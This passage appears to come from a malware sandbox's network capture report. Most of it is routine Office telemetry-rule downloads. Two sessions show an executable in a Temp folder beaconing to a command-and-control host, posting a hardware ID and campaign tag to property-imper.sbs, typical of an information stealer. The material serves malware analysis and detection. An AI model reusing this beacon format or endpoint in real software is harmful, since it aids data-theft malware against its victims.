2024-11-23 19:23:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192329Z-15b8b599d88tmlzshC1TEB4xpn000000039g000000007dh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:29 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192329Z-15b8b599d886w4hzhC1TEBb4ug00000003ag00000000k5cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192329Z-178bfbc474bpnd5vhC1NYC4vr400000004sg00000000nuap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:29 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192330Z-178bfbc474bbbqrhhC1NYCvw74000000050g00000000cu83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49816	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:30 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B2CLNOQ1QAOJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: property-imper.sbs
2024-11-23 19:23:30 UTC	1244	OUT	Data Raw: 2d 2d 42 32 43 4c 4e 4f 51 31 51 41 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 32 43 4c 4e 4f 51 31 51 41 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 32 43 4c 4e 4f 51 31 51 41 4f 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 32 43 4c 4e 4f 51 31 Data Ascii: --B2CLNOQ1QAOJContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--B2CLNOQ1QAOJContent-Disposition: form-data; name="pid"1--B2CLNOQ1QAOJContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--B2CLNOQ1
2024-11-23 19:23:30 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=na2iddb30psla49mlqa5q8f01a; expires=Wed, 19-Mar-2025 13:10:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UZKe9pMnj2%2F0uW2K24rVBzXtIXor5HCeSTuRhHuW9R2MQdn%2BfdjaoshDbOPvMo%2Fj7czWkKLXAvMyButVCo7mCCHEoAB%2F3dkqN9v%2FkCz2qda7QEOVmF0buf%2B0kMaOZiMtLskVqGY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7388ba7b7e42bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2157&delivery_rate=1805813&cwnd=190&unsent_bytes=0&cid=9dc8d670a2f90c88&ts=736&x=0"
2024-11-23 19:23:30 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:30 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 376cbe9f-601e-00ab-3b11-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192330Z-178bfbc474bwlrhlhC1NYCy3kg00000004sg00000000ru5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 19:23:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49817	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:31 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 19:23:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 19:23:31 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rok0onpipevug8ebu9j4jsq291; expires=Wed, 19-Mar-2025 13:10:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8xCYtulmGd%2F6TspJJw55G31GEac5zwCbkOdcRMvxPVAczFWbCTjSDq2gI5AFX%2FX7EtDij3ghzK2lBj65RBcty3pvzx%2BqiSWLoT%2FzcUnAzSKLlPc1bXLuwzxoqovUuGHj86TDYsc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7388c11e1f236b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1824&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1601755&cwnd=163&unsent_bytes=0&cid=1b015122f40649ed&ts=770&x=0"
2024-11-23 19:23:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 19:23:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192331Z-178bfbc474bnwsh4hC1NYC2ubs00000004y000000000dnek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192331Z-178bfbc474bwlrhlhC1NYCy3kg00000004yg0000000054b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:31 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192332Z-178bfbc474brk967hC1NYCfu6000000004pg00000000bge5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192332Z-178bfbc474bnwsh4hC1NYC2ubs00000004zg000000008ym4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: f000c210-c01e-008d-4155-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192332Z-15b8b599d88m7pn7hC1TEB4axw00000003f0000000005dcp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
